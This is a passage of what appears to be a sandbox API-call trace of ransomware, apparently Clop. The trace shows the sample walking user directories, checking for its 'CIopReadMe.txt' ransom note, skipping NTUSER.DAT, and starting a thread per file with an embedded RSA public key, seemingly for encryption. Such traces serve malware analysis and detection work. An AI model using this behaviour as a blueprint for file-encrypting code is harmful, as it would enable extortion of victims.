[0107.248] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt") returned 48 [0107.248] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0107.249] CloseHandle (hObject=0x68c) returned 1 [0107.249] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.249] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf", lpString2="..") returned 1 [0107.249] lstrcmpW (lpString1="Q07hPTbYaA2sSmp7JYW8.swf", lpString2=".") returned 1 [0107.249] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned 38 [0107.249] Sleep (dwMilliseconds=0xd) [0107.302] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.302] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Q07hPTbYaA2sSmp7JYW8.swf" | out: lpString1="Q07hPTbYaA2sSmp7JYW8.swf") returned="Q07hPTbYaA2sSmp7JYW8.swf" [0107.302] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0107.302] SetErrorMode (uMode=0x1) returned 0x1 [0107.302] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt") returned 48 [0107.302] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0107.302] CloseHandle (hObject=0x688) returned 1 [0107.302] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.303] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf", lpString2="..") returned 1 [0107.303] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf", lpString2=".") returned 1 [0107.303] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned 38 [0107.303] Sleep (dwMilliseconds=0xd) [0107.341] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.341] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="QGtWvWHnjohYH0 tv.swf" | out: lpString1="QGtWvWHnjohYH0 tv.swf") returned="QGtWvWHnjohYH0 tv.swf" [0107.341] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0107.341] WaitForSingleObject (hHandle=0x688, dwMilliseconds=0xffffffff) returned 0x0 [0107.564] SetErrorMode (uMode=0x1) returned 0x1 [0107.564] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt") returned 48 [0107.564] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0107.564] CloseHandle (hObject=0x6b4) returned 1 [0107.564] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.564] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.564] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 0 [0107.564] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0107.564] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0107.564] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e7f8 [0107.564] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0107.564] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0107.564] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.565] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.565] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.565] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 0 [0107.565] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.565] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0107.565] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0107.565] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.565] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 1 [0107.565] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 0 [0107.565] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0107.565] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0107.566] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0107.566] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0107.566] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0107.566] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.566] SetErrorMode (uMode=0x1) returned 0x1 [0107.566] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.566] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.566] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.566] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0107.566] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0107.566] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0107.566] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0107.566] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.622] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0107.623] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0107.623] lstrlenW (lpString="ntuser.dat") returned 10 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.623] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.623] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0107.623] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0107.623] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.623] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0107.624] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e378 [0107.624] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0107.624] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0107.624] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.624] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.624] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.624] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.624] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.624] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0107.624] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0107.624] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.624] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.624] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0107.624] SetErrorMode (uMode=0x1) returned 0x1 [0107.624] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0107.624] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0107.624] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0107.624] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0107.624] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.624] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0107.624] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0107.624] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.624] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0107.624] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0107.624] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.625] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0107.625] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0107.625] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.625] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.625] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0107.625] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0107.625] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.625] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.625] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0107.625] SetErrorMode (uMode=0x1) returned 0x1 [0107.625] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0107.625] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0107.625] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0107.625] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0107.625] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.625] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0107.625] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0107.625] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.625] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0107.625] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0107.625] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.625] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0107.625] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0107.625] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.625] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.625] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0107.625] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0107.625] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0107.626] SetErrorMode (uMode=0x1) returned 0x1 [0107.626] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0107.626] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0107.626] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.626] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0107.626] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0107.626] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.626] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0107.626] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.626] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0107.626] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0107.626] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.626] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.626] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0107.626] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0107.626] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0107.626] SetErrorMode (uMode=0x1) returned 0x1 [0107.626] lstrcpyW (in: lpString1=0x2dca668, 